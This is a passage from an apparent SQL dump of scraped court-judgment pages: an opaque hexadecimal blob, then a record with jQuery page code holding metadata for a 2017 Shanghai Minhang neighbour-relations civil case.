3C32159002E7563AC18466726900AA85BF1BFD89481FF1F7DDD531F253D00A6056A05315F2C8AC5DE8B30474192CDC690E2CDF00665BB213810299407672348F4742723EF1BA2B717A16031005B97CC6650B0FA1646305B8E7E2CF3BF38C7834C98F409874BF7207042106A5834535121181161229DA2A5FEC6C7E254DD11D75F1B4A5AD97B2E08AEA035D032748166048BD87FDB934DAA09F4A5344E2D81FB6CC1528E0B933277213619CF48660C908CD6EF4D8A3700B40649134AE562EF4AF4DE41B1488FB1E9028B080D2B880A013842B1086F539D2A0AB7C4373C4F19ED501EFC01E0F030F3859B34E3BDADE9847ABF54E4E11416FE117C03F79B76E0F10F006712F11713097827FE02F7B893FAB977DE840905679B0F63F06693938F6452500C6CAAE154F34D07B5E9F73D0949B126CDB4959E3D56BC09BDFB065FFFC7539F1D130704206592AD2A2F967B0B061EF74C072AF52118F662067F7D6449106B36D208B2567B818657F44E1D121005451D9201EE21DB4385DC6A428498B3E2F177B349CC250F6E02F19FFCDEE353FC61A750F3A6BF8CF4775CA52C98D510A9DC4118132641E9F0E10A4A706C91F772622858B95F94D81714F7060A4FC6AC5831453477AE8C620469902158BCF75D103AA9ADF744F33B5818362B5659FDC3C28B0D01389783219818E96056536D27CC6A001FE7736E6E6052CD224CED39C5247841CB8BC9BD83FF981FD0DC7614F3CA125F76F3EEA46161D806F719EBAFADE2F09814349E4A0C295693DCBCCCC243824D720893A500BB58E2C57A3032A7CCB8C62478C337DC4D610BC67B6E8A019FCB418A9D38723BB72203FE29C4AA19C157994C4931107839E5BF66A277D511787376F76E5B73B1191128491661B3C72C7A47C5AC197DF54B67F2E9296A5103F143588F9B100347D063009F615284D8FCE330B0549018D6CB13FB9B4ECAB870FCFDF12F5AC135F7F8CE1A76189664BE433683D92C78A6F203DBE8592F46AD7DBD6A5C023DD47063DDEF4DAF9D3D5B65876405CF09696FEE34816011B1BC33DE8C083910EAFA0EFD974B8131B7DE1B14D253F336936015A459B81CFC7366C4A4264E09C63F660CA9284A0F1D6A99964DF01B1DF71BF7BD8FC48A66C10082442BC600438AF736396FDFC50C66290A510FD1205CF71322528F33BAEDBAA3DEA409ECF4E46466B9090C7957C3ABA352973FF910467D450F01B35EB017977C95AB491326759213CA30097804C19D4234E2FF337D0B4F2A8557F7ECE4D89A01CFF110F7F5BB2AF532604633FCC78622592E56B61F16E0A996FADA5C08A4B570358B26747096664930AB59C1E4982C193581CA299257AD5941604F54C36A46B1BEDF52CDDE8B00A573D4521C2C3CE11E175B12DFE4BAC609EE1695B439FAF77A41BEA95EB020A8F2A58A3469363D193846A59AC5AAA726BD307BA7E356BB6B6A45E98811A4266FB21E20BCD790D9EEC41A8D5B8D87127C27967DDF2CF026F06ED0CC874654688409C3E0972F4E97E2329851D214139C0B0D9AB4BB79DD08C3EC4D2A2696A8B1BB88C52654AD1E7B2EFC49CD1F422F521D3303117807EA90C2ECCCAAC75190D69B45C9DAAC2E4943300E6FE97801DD230831F8A9F7999B70B96166D1B0370F2A4A1328D2B014BE16AADCF00264F37887981D001F23F6DADDDFF3040CF7CDDD332A19C166D4D2D1EA7AB366BD6531100E03DFA81BF81562228B5C51F7B4FB2645983DF8B506E8732F49E1557F8A18A7C2BF98301AA272767D239AE145C7D2533F10B32F6378EF4D881741E3C23C2C16AC6697DE0F6DFB5F3CC23DF1055D5E93F1D8E9E61E0726C56B69F341FF0C73BD213123D9E2C442BC179BAFF7941F5E7DA15C78036720B517B00D4F6D542C8A5DC208587817FBF3701326D171FF05984D62769C8E5C4D7CA3121154589C53F7D35E84198F19CCC1DCE62630A45E8E53D6550CE3BDB11C42783143838681856A252918D20C79C608D1A4593423470506A3264783F46DBD18E66F0902436ADDF7C369A4E104139A03768A208605EF30B321FF85E5528C4C8822277561E576004B9423BEE6D7D39BCD2082536EFFBB07080231F2027F122240EDD314A67D66DE174C20171BC91BF9A660CD6A5663852BC586C1ACD20820C4C8828B5C0117633659100C661578A2436046BC05BD81F1438C091EBF6B8D89BDBDD93BB0B55AEE2D64C4A2D8248A753A35D76F42CC1E9C4DF7508A5DB4B463F34CF9FC7ECFE7A696B166C4704993BA9BCCCD6605A6746019E2B3E831BE9A1D62D3462A1360A384A3B9C998900911B8129A3D6A56E63514FF62040C280557FF67F7CEE7C3BD107970F7BA052513D60C6058246EE4056976185D9BE0C101A5C206B18BD730DDEC7C53F78EA7C0051370085292C60011AF0E31925BFC32B15965E1C850077D725DC7CFA966C0AC0D104402B3E80500DFC7D1A3626FCAF9C98421E4D88F92E3A9970E66B3801704C43FB92034813FDB200E5D0FE346F5DCABDDB8E5C40B4693A5CD7F4D78C99A86453B2DBAD19162EE3B56F3D463DF81DC973F90F7033F55F79D83498D7AC18A0DD4CDE56A484190629EA49FC14D2E555ACEA91B4AE10561D29DB710DE5EB28A34D1465CDE3CC9CDD3A1C2E9A72A0FE0DC531DD08D95E14EAD4AAE0EEF0DA3B355488B4D8859CC561393AB7044E0178DF77D20C5CC46B1AD1493B158C3A03912C92B36AC59AB93128CC9D42C30A911B700142FC29B31AB3843C1A426CC62DA10F77CCD62C53F685B5A1EF757F1E44D9800CF4C82EE96C6A437C930B032F4F63F56387AF305C06D45BDB0F7E02236810C91E63D048244B0EC4ADDEA958CDE83389207E8A81B4FF734DB27CF2E3366CC629DEAD7764588BD604904E54297B6B7381450431F447ADD2BF1D71A46B378C9D639D061524CB6E144463183823168E20B9F966A745E2A5324D75B2A865BE8241672FAF0CC7D64C1EA4DDF09737C56CF0583A416CF0345071D6AC54FA5C56289B8E2103103955CE94D9A116A80D500C368463030BAD3846644D6C8FDD7DD025B720242E7C741F77487D39326CDA04DE866D98C1846441F13D104FCBD4B60761E7D53A35E2453576EED35292A108B62CDC8FAA95213081251B091426C33180140728A6661F8ED7D1CD4601F50F7E1F382611214AC4092152486410428553B4A6FD20C1EFFE4F1BE318BD9EDBDA03F43A91770CF69568421799BE66911849AC4DA056C14A966C8347EE35865EBBB15F70AC251CB44D990726F4409553966BC17A415415E9A96DBDFFA78165216934F4F2E734A44B97FD5EC10B75914A3D98B8B1911825259C70A9FBD4935075721F3290316350B1D3B4421141747661561A9620BADD526307B110E77503D3F6C08F5654DBE7D70B0756CC6EDC244036B43DC8A1ABB37031287195009FA4BA4593360104C2D3E158F1475F3AB7A63650326E8AABB10045261FC33C0A06015865526B990070E4324282811EFC526545E6914AB0F51180400FF25A0822D5520A498674B9E07C508901138FBDAED7FC204002000808003042001060007CE35F3160680040401021B86C59A730E0A1B2B30B9AD39F72A1D402A01001562CEB9D73A80020F38222874049C00910A04CAA7EA80FC3769B0360BD590005B1748002C55FF8E894DE88155A4327183BEA1FA235E315DEC8D4D904975390145A8BD776BAAE1E90B551B61867BDD7BED986A41BA88201900B9EE39371A9C8D8A20EFBAE7DCECC0189E0DE519800EAFB977C6B30A0C1B7D1ED91E0B80B13C8036339834AA8DAA55757784CB0A783B5C5F9F8DBA7E6EFB9190F03835383606D82AAB66767BEFECF07B3F8304A30E880EEF3D3777C18887533D173BC42283DF1A2A3DF762CF0EA92E48A3A07203E08D4F80ABCC5AAC23CC861C3494228322057C54D533D0AAFF370889D4836DA833F75DA8FFB5BC7691AA9B8F45A050994A853037E134ECBA5C94DE00FFA6F70ECFBD88A80AE8908C8BBDC7848344D62EEFDF7B6E16F1271326B1202FB8D87B5546B96DF5FF75D07F23C0747CA82C38346832343537B07755E760606A0001120C73B97B46FBB8345B33C9E97A17C1874384D8521FF2C87807C37B991444557AF1DE8B4580C1BA118D7788C5880A35BD724944F01E87872D4241F000D0A989E983E1D135FE5900815DD4A4019D1F49E1300360D0DA5FFAA0A375BC38333732FA380508F8823FB9299F819D58814DD8373784B1BB06C3E4C067EC04BF043A84201DDE8CD03E6E47ECBD58032419DBE578B3C3A48274EC12BD18B177A9DD10D558350836F70F838470C410219700FEAD75E46A37DC6D8489E0877BBC314EB83736BD6CB852C02914CC3861F72F04FAF4314DF80175F4B250B1CFCD728717AF44A448DE3BCC2264C36FB203BD779AC527A57ECCD6E13DDF8B0BA44580801A98C50A983582D21E16C0AF7E93B835B438310B47BE0025354E819044A120593F2155E8659408BB5F3E3537318432333635B76C0B115EB11887F32E6F317BAF1931A295CECB1A8CC321D25E6759C1263D82C026B902383C9EE90620E52C077F0AF80A49DCC775803281096F155A14463A095DB86B80ED353250A04921D0FE3762AD9EE52832017DEC8355CC36313823C231185B4D5E01002FF622CC87D9A77AAF638F177BA122A7A7C420DCB0777A150A92CB908AF0DEE9C600BE43B3B8BB25D92A5C9333319A353333B625157C5A5EEF58D3BC015F5F53B50C38FD16DD0C73185A20E6B952381C5E8C2E916B285169C23B4C4838BF3A84D8736FD6D10807E6E063C68BBD0A0FBA20C68057A4172DC3F18815B984C8D8DAADF335C61BF8BE06884D00360A01C2F71C1964F7BD52E952D963A610AC58A79DB24C64FC43B1923083C31F48401C66BCE781AC9BD1FA358CF7269DB9C1E96F1211826D9F06D481C06C7F0F506A388B709964899764679707B4A480779C4F60423734373314566BFAF5318D73197DC784D1540E014B8D3AC390CE7AB326FDBD70FC71D19248F662CC4B02CCD78C482F766887A0844A62B3F75EA610202ABB10DE7B3D5A4DE82433239F476244C2A43134C0389CEC5C0527F49FDA70578D603A93780F98FCF0DC0A7051E1D0323420193C9E7C7F860058B1D39B75AD24BCAAA6EFC51812C55A02DEBDD72C12EEEC80AFC40E41E0F02EAF59023E087E70838D0429010B10371D55EC396040502218A00106418B84516369F1D3B98678ECCAD9D8FF4D94A513626C95C466A581A362BD9D8B31A3BD71B767498BCD70B3CFB5D6B084C466B31783A01EB884494C3A5ADF2B67D969E6DEBF0139AC140E192C82FB3032808814E08C586916DA4D9BCA76A9346035ABA04070ACF73BE1399E11F05753CB683550601CA9DD256ADE68E0A9646AA7318919AF36D1CE6F081D82415022069B8DF44EB5061D00B9332F166BC6768DDEC905B3081615E6072FCA1B80313832774F6F6524824531A78031BDFE7AA17D1611239CD0F79D872955AC46C164129410929250F0B935FF37E147B022EFC353AE2004F9182358EFB904D1C631201DDE8417E3AC9F7E6C48BC19D42C29C94E38CC5CC7CD8A9D009831C9875E60EC24D6B3204E14B429B4F397A482D08709839D2C0ADFAFF4115598BEB78195E637085EBB08DC127D903BBE7CB753623063E69BA547A53BC4E0BD86D85492878CD824DEE5EFD0FC7B4418D67477493C114C98D00006107C207854BC8857F1137F763638FF4E08FF852989759C5B04EDB2E0E4E038CC2F14ABE02B20AB333B464FFAE45001B554B76AB6CE177BC5081A5AC49FF49A0589C6A6626F1611228A61DE2CB386F15E98B05DA86F489D624049307B43C176788BEFA388B6B076BB0D27F8BE680404669C952D0962647CC4241C2036729C423226B90987672A567F244A67747AC9885D09BA98D20C779AAF96B546D8201D9E0B9B3F94A3DE0466B1D8A8343706E3E404D14031AB3242C493AFEE80D4320BF2B521811FF413288CC9FC2870E826568C34ABA42670643177E6C6439B3584D3774AF6B58C19A7C38EB13620313BBD434BDFE4009AF1DE9B33FC3517F989BFD19397015D047DF0816DE4384A6A41B4BA015584203045F06F34B0314DFC894D888D85F822D8DA22505772281138B03347281885D3A47B6C220483088E43CBC39AD0ACCF1C344178BC0305BE0E75BD58C10EFD8B402F52B149EF2322DD34DF9F81F66F7458C0525781AA0C5F09248C82CB1E06A13386D136320ECC882C828F9E0639534AB317895DB385C2E101AA89C36146035CE617468C6634ADD21C4816432A73BD7B6F09F020DF221C224B888835451E15640C4361D65C422EC067F76A3153C2734511D1B850763738C52786458B9609E74762ECCE02D670C25AA1B478B159935C0F83D2E14D88F49C8F671D86663C860D2F2359E1CD28F6D4EF4EF4887A63FBD95A81759832813109EC29BD7A44BC7E6D297DE8ECC8CC8D4BB8201075DC1F4CFF5E929DD9CF40CC595BB5358359EDAA5D451E6F6241C62690718081A48235033F5BB593DE2CC6DE13AD6DCD08487CCE804E4580D6D93828A2F0F20067DBDD59F4578B4B13AD14696606AB7C3308147E419C8D462C3468261C8C6202CB546CDE1E2F0211FE940E231B46EEC50480A1E00A66BD86D55E2E36D890DE01DB2A97A4C4B149BD1FD7426A365B2FE416387997E8321035C816275C38ECA50855B66E1DDC173434E2A4B07B576368334A340145C8B357F34D7A8718B86395DC246245E0119AFFC5AC1933170326115C60F682C582C2EDC0610244A01C7A53C1A3272F568D95CC101FEC027910B520538376071B05BC6275B468BA7076DB59F8DC5253898CE1569C62D6BCD8E11DC77D18970669420C22FAEF3233C5DE61C262351E0C10884D98AE70CF13FADE8C58E3551ADB52234D061F105733CE487888745122C93533898674732403E27DDC02EF7D0561C86A1C105491DEE1CD78710BBD51C3664D22F6A519029CF7829DF51DCD80042606196F02B3BA7558BFEC1656C42089B88F98A6CC20402200ED15BED410243662D4217DEC5F7A0D31A9016201C2F12C0EB377C88E82B1E9150196C487790810A1205DB39D30ACDE21DA31D670E2C58A8306D92279BECD3F7668B27413A347A004A6ACC16FAFE7B2B8B9BC53C7042440783678E0B379532CC0534CE83D3EBC2B42858580C30B022F725CCD884849FC3A23581084193B3A33AB61358B3707CB4DC28B344DC3EB00ADAD881932C635B4C87FE0DBC036073883B5003F117DBC81AD6814FAD92A11580955B4998F372244D31B194DB4A4F188448C458427578458309B8F0A1B51B359BCC3E8B52E85EF451A523DD543A72336A478B60B1B1E499A6F14D6B83736376CDAC8ADDC9035AD64D43394BBB133190DE01D602B1845B6C2343660097C794B0481B6463348BB8C4A340A156ADCB46E763703EFD0732C207893A9601C66D06A89A349B1093035BE5715AC37A36210DA98D40C26F7D06502CD9AF4CEB6D92E8A494B627460F123E20CAD326DAC0116A3E251370115D2F4F3C984C8898D219568A78954F150F109B54C9D806052BB8115CA7954AD6CD67BB319C40702140AD61BC63CCD5936AB58074F45F0B858F17A6F3DB5DA2700B33423735E90018764EC1E7DB5566F9BFA0C98BCF1315DE03983653D6BABA1FC23C06BC3344DCA16AC59CF7790B0AF8D759A412C861100B1172B92C899293886D50C0E74D68270B309E00054E0B9C68025653B99ACF048938183A54340061DB9852362F5AC3475B8BBAC275F001C6C4AE9480F22D08C597AB543DE845833AC41E28CB38A308B233F6A5831A44814201386C59ABDF7C73DFC891C4936C468B951E207DCD28B38CA98815DEC32C26418C0F03070B85BFD8362B0195DE829A783B3FAC15258334C5EDFDFCD6236738BBB085A6C568C5958AFE586A4F76631D4CEC3C9BC20BDD31910ED52C953C4623B150320BCECA0C4349146323789BD24D1006603D5B57439C34373F2559C7034C897A0526DA943ACB8E230AB43EDAF6A0719EDC54E130E342584AECD8A119B7CAB245C108B14EBDA498FB8801BC609EC043B1E3460939A59398AD411858F59950081688E8A0D4C0F47F0B2D8BA2DC165907EF406A8312DEC5E03CDB640BCC22ABF6106EE05A31085015E841993486FD932307BB347A4A1BD9B4C9A119B8912EDA74687E76615554BE8FB01F49BCF9436575C9850506A32B07BF19BD510499C4F9065DA66040366085E62E8F11EC1626112B95187D310AB553CF07A1396B8DAD4F90BCCDE9B4648303231F8B495AF88FE74CC053C5C111B5F8D379F5329123FDBD997A023C06A348DA8A3B607C5501A08800E40A5D6B46FEA5D682D83360126D4BEF158AF8D42EF4D604BC27C743CD1040A220B207CEFF082A1B62A3E008466D4EC33A439DCAA385DB0E8D861D86CFD62B411C28C71C5060462A9C381E4F7B2B42F7804361A839E32094DCE463367A2E9434C768D2B091C600862118FD92C167D819F0A8749417899F1EF926FF6DE7BEA15B4E24754FEFFFFDB83C409F4A2C0C416C0CC0880EC6C306100414A8BDA81EB0958CD2F01FFFB8D278BD48142000A5B5A0F854210DFA18DFE5973DEC35367850AD55328756492DD24E0341F1405A02630333BEDC6E085C6C80058A4DF7E23194C08020FF9384C2256A4E1C9C4E941936617719B7782350B37E7A3272BF686F0DEB9511780FEA4D8388022908A78356838334C26D9D09A8977F774B06574169C3876AD48D79F7B894DACD20909BD785B19137A74BFF881CCC66DDC248C0931667ACF845160D6ACDEB26C58B360064C00ADBF482F98553AF48BC6A45EAC87565EC43AC8F6E9D8567B575FCDE05D6FD142C55B0C540BEF31341B4137FC5976500C686A66B3B17EEE80E62E80970933085213FFA72F3096BD18E4688023114BA8D3BF6150EC4D9A3596B3E9B50F2CB59EB01218755D88871CF5C14FAE8883AD2500E08CA03180AB04BF3DB95486322728FF490A8AC5DA6DF2E0B14AF09C7ABD6010243BF56B61C60C829DEDEC4869368B3580E315BC66F41E3024A99D0E31E9F1533B7DCA38429C27A9583372AC0F5EB2F8CF44DE1A2F2C3D8A44550CCFDCB9F47354A40975FC0334FFEAD3833E6E8083BCB869521E2F583D83F5B6AFBD6114A30074ABD27BC198A1EDE7ACD64624786F0D09570EBD181463FB0CEE09E8812C7310D03476069850237B5AC5800E9E603558F802C1EE8B4E79EEF0B058A1493089629DA42E21024582F1B77A5EB026119E37A6B8592CF6350500DAAC5934A32678D4F8C5201BBD5B767868AD5D015761AB7F7C1DFADE816CF5980155902504F425F6C041B661687C3B3C43BDDC2722D1C03DB47054678C49348CF42D0E06BC49359B9820DE0CDE6C22307AAA26F486F5304148512DF5DE84603B15B7E8B8E2D90E038A086809C288832CF4486A28158CB370E0A0CE8BC4576B0C56D0FF3660B3938241A34F41655205B38A0061BC8725759A0D9B1956E8454812E4FE3ACC08064D1354E538CC28428C924B5CD59DACC5F833B468D8245AC806AB6115F10FD94A40DAD5040A83F1627CD5558C32F274726C56CD98948EAB9F59B39811D2E0E12F0205810D9A93ECC58860DAD02B1BBCD69B40AB192C84AF11C011795F9044048AD4FC214D8421BD6C0157991A58402FC0340BE0B003D867FC4B76792DC58A6113459C0E9098103B32C6DAFF624328D2A1DB97C0CD7A3116B771AFD0A4194D842008EB015C56E958250CF564E9F0D068EB584C7F9CDB35E29044DC351BA46EECA362047B30B65A9BF66604ABBE850DABC570412AB1261E4D78B149F9DE357E9E62C93A5C321A6C1817C43803BE11AF0B9A0728744EC2093DCF28BD6F6AAC03888327310D362975D4824AB54150835C56A4DD12F5B15F83C014E904336820422DAC98AC176F0F20E03ACC3AB1D2EC7BCC2635A446F8E64843680634F8466701BD682F28351A20D255A1DC1CE4A3D41BDC9FCC3268AC3835DD2A4DB2A963D0B9368961A0586736E28C42F0E454C3448C596E63876EB097337AB1207A9385829A456C06DB17929BC50E934E63F5B24202622FC20B50562FA907CCB994E3BC32F1730B0756F38C354DC0014003814E997BCCEAED92AAA34BAF922EEFBDF726179C75B110BC050F8605F60E134C8065075165969B11846C610448D4103A61BD200FEA4930B24F44C0537265630338D86FE8DB3511B51B0B7EA2C25F9C8155D8F0FEBD825A06611D835D90384085783443E8C861352BA8B8FDA7DE6316E1672738AF12D6492F4690EB1B0159B309C480C06D06E1BDF77A306B402A08AE384DAAD93C84A460160EE526B9EA31ECBA6242DCE4C8CB6B67C18F020BAA368CF471084C2C6B60AC34330926B581A6EB646533623366101BA2B6666FC290F4F3999598F186F5A4FA90100CA119139BE3E82D058907AEA05F8C051A2F14D1814594B695042FB005A1376AA832FFDB579638BD9733BA911EA02CBC50863265F4215DC46194A843CF146B23F5161B2260CD0B677D733EDEECCD4817B980CD148488CD9A995D18052326CE59ABC0CDDE2157304003308459431DA63C36D4293885F1B4B031E1F6A976A7155D8CAA88FF5706D41B10B86831352458113E7868BEF2F4B508C59BC18462BC9D6655308ACDFEAD26CD0E29AB04A35C635210ACEE3C497088BD175514347092C96AB3F89469757008465BB2C57930B9F9B2D483C8B4F14E3830908A0E4F491A26F45C07061473B87362C27B339605492836631231C67EAB919124DE61FAEC1A1398CD6663FF38DD11998570F961A4D60B0928C95FEC34E633A033C4366B1D515527232842BFC950D0B1E0C013D0E902B9E01129668C8CC63029DE30AE0E9BF78640EF4CAC3415C22FC2108A1299DDD49BC17B2CCA790FB824A2240928503032D20BE08E35BC7D81F70FE875CC819D741AA5348375C493C5206A395FE63844107027373AB355B05EF0212602C526101126E7802738BC532C5F81DE9F666F56414F20D9D68C4814A464FFEFC8C29BC4F3ECFE7C1135F8E420FF582C29592C708A6554A5BF315B7210359DF089BAA00250E20FC491195DC801298C988B4EA7CE9C85625284587A745C20BC1993710FAA579398CD80091FE8CD78337AD294C9293EE2118B21B23BC82CCE7AC179E431FDC02FE204E5A19FCAD5D6A7A2B84D75E4633822461BC0B058846AF1623398CD6BAE1F6C0D89599C49748A662E368BA09CA89EC2661D923DBE2C7A32C7FF1F8BDD508F028B4424148BC85F81C1A92CB3F706FF6F81E9064FBA6877F23E8D7F2EF26B4008587304FF01FF77018A2424ECA85C058BD884DAE9FC08C28CE0A4FC31C4B07AB36607829B159C1EA0649A3F9C05A1373E144C20C9425B133E5003A09D2C566CF0F8846CF79DC2C9D0D81A26634C20D33C4CA008521F5A32B1482871EFCDDE2443926D82B949CD261467A088C561528F88B07529D261490FE97962D146EE0D0D30F0DCF1425453298318097D84414D3664255894FC33495163A09CBF0047FF7C629D548D55F01975A868378CB019EC226359500A6BC13BBCD883033AA060C00C820DF28FA4189388E68A6D58936AC612525583093C2A0FD0D4CE246D7CF4197D886A98D9741B68F2DCAD3238E4933537814BD62118432489DE06F8FA7686D8516FB07082143B0DD59244106B061D57D60DBCD92C9A8EF515DC49C59B042CE97A5407DE8C2609B93C0DB0B91A4BCA0010DEC8350524D9A01CA4E122BE8B022A65306800F0B67A7FB27572561528554483EC0442219815CFB7789F092B562D61D6862568338A496F1C4842D4902611D186BD60C08B17C28752980D890918B0A11702D48F0E551B27440979823214D8375F515BE908F014559C313376B1DEF79519EFBA81A4C6D609910E57EEEC80792420596FA3DDE01E9162412782E3CDEA0DABC7409120064BE0BA7E987450CA5C7298FE09CB8802D51BE2FA48336A3439BDAB9E1C448483C0BE545A818B7CB6B6A008090514EA001149B318DDB3741A788C370366B876A7849D6611ECBDC97DBB5BC322661C6FE1AA66046F42E6FD7287154120E80CA04EB526142D13D462BCD02302C18C0021D61B67E397B6F800895DB048382104BBB08A277F1760BC4B20D5C138E03275BCA6A4E005815EB2635205A3D8CA99442115B1621CC6B31911AC421A0E137887098C933CAFD1FF06FFEB0241480BC075FABA315883F857740258C330016A528C50C9168416117BC0F8A5CE668038056051A3170B76A983167256E84DA20905CEDC882141EF09B72D332A084D4DA96937AB820084C6238A50C1824A2158C1241B8780790C355090686808319C3B8A420FCAF0C7E898323A558922DF611930A30E56CEC17878BC20BCA25A8FC7CD5E2C761315B8178E62168124823111DE2CE04DD0443631940858C425BF67D0A7964562E49C8175A3048D1038AB18E0374018A02E15AC53158F193CB99483DB60EC3CA9C08B1D669C2B63969B30A909F5295B1CC62348D1E6120CBD861463E1662C00F78604C3A44B35644519E27F84948CC8119187FB4D2A61F7D5A2689E8405239814F1B488C4AC6685F5B430661130D9CF279AF582D4183835339A15C438BAFD2629980450F52CAFDA1C54CC091C8B8BAEDE17CC98BE7235CD58C4217A3381A5AFF0CA058D7521CF687C806D135D1732360452FBEAE966C5E1E0CD240792B04834A14A77AE90825940C68CC2AC59C1041D4C9318362B19BAB706788F7ACF09481AE58E3C9F6CF83280D435074BB4E50C0AC4F1C8A337039CA546455D141D3E4C17F46F1AF77EC80F37A76105932E0725CC9A117B07C2870B13669326644D96666316EB00C3CA2B3DE83BCCDEAEEDAF2F890657ADBEBD016A743119C580F1318165F01E5C5EA559402970CC698783D1A737966497EF8037DE9A106B42FB854B8A149B45CB7DB385269C6633CB0B4F7','2018-10-10
02:57:34',0,'web',NULL),(20902796,'cb0b15e5-450b-4b94-81c5-a786009fc1ec','$(function(){$(\"#con_llcs\").html(\"浏览：161次\")});$(function(){var
caseinfo=JSON.stringify({\"文书ID\":\"cb0b15e5-450b-4b94-81c5-a786009fc1ec\",\"案件名称\":\"陈富民、颜霞勉与张新云相邻关系纠纷一审民事判决书\",\"案号\":\"（2017）沪0112民初1358号\",\"审判程序\":\"一审\",\"上传日期\":\"\\\/Date(1497888000000)\\\/\",\"案件类型\":\"2\",\"补正文书\":\"2\",\"法院名称\":\"上海市闵行区人民法院\",\"法院ID\":\"911\",\"法院省份\":\"上海\",\"法院地市\":\"上海市第一中级人民法院\",\"法院区县\":\"闵行区\",\"法院区域\":\"\",\"文书类型\":null,\"文书全文类型\":\"1\",\"裁判日期\":null,\"结案方式\":null,\"效力层级\":null,\"不公开理由\":\"\",\"DocContent\":\"\",\"文本首部段落原文\":\"\",\"诉讼参与人信息部分原文\":\"\",\"诉讼记录段原文\":\"原告陈富民、颜霞勉与被告张新云相邻关系纠纷一案，本院于2017年1月9日立案后，依法适用简易程序，公开开庭进行了审理。原告陈富民、颜霞勉及两原告共同委托诉讼代理人翟学霞、被告张新云到庭参加了诉讼。本案现已审理终结\",\"案件基本情况段原文\":\"\",\"裁判要旨段原文\":\"\",\"判决结果段原文\":\"\",\"附加原文\":\"附：相关法律条文\\\u0026#xA;《中华人民共和国物权法》\\\u0026#xA;第八十四条不动产的相邻权利人应当按照有利生产、方便生活、团结互助、公平合理的原则，正确处理相邻关系\",\"文本尾部原文\":\"\"});$(document).attr(\"title\",\"陈富民、颜霞勉与张新云相邻关系纠纷一审民事判决书\");$(\"#tdSource\").html(\"陈富民、颜霞勉与张新云相邻关系纠纷一审民事判决书
（2017）沪0112民初1358号\");$(\"#hidDocID\").val(\"cb0b15e5-450b-4b94-81c5-a786009fc1ec\");$(\"#hidCaseName\").val(\"陈富民、颜霞勉与张新云相邻关系纠纷一审民事判决书\");$(\"#hidCaseNumber\").val(\"（2017）沪0112民初1358号\");$(\"#hidCaseInfo\").val(caseinfo);$(\"#hidCourt\").val(\"上海市闵行区人民法院\");$(\"#hidCaseType\").val(\"2\");$(\"#HidCourtID\").val(\"911\");$(\"#hidRequireLogin\").val(\"0\");});$(function(){var
dirData = {Elements: [\"RelateInfo\", \"LegalBase\"],RelateInfo: [{ name:
\"审理法院\", key: \"court\", value: \"上海市闵行区人民法院\" },{ name: \"案件类型\", key:
\"caseType\", value: \"民事案件\" },{ name: \"案由\", key: \"reason\", value:
\"相邻关系纠纷\" },{ name: \"审理程序\", key: \"trialRound\", value: \"一审\" },{ name:
\"裁判日期\", key: \"trialDate\", value: \"2017-04-07\" },{ name: \"当事人\", key:
\"appellor\", value: \"陈富民,颜霞勉,张新云\" }],LegalBase:
[{法规名称:\'《中华人民共和国物权法》\',Items:[{法条名称:\'第八十四条\',法条内容:\' 第八十四条
不动产的相邻权利人应当按照有利生产、方便生活、团结互助、公平合理的原则，正确处理相邻关系。
\'}]}]};if
($(\"#divTool_Summary\").length > 0) {$(\"#divTool_Summary\").ContentSummary({
data: dirData });}});$(function() {\r\n var jsonHtmlData =
\"{\\\\\"Title\\\\\":\\\\\"陈富民、颜霞勉与张新云相邻关系纠纷一审民事判决书\\\\\",\\\\\"PubDate\\\\\":\\\\\"2017-06-20\\\\\",\\\\\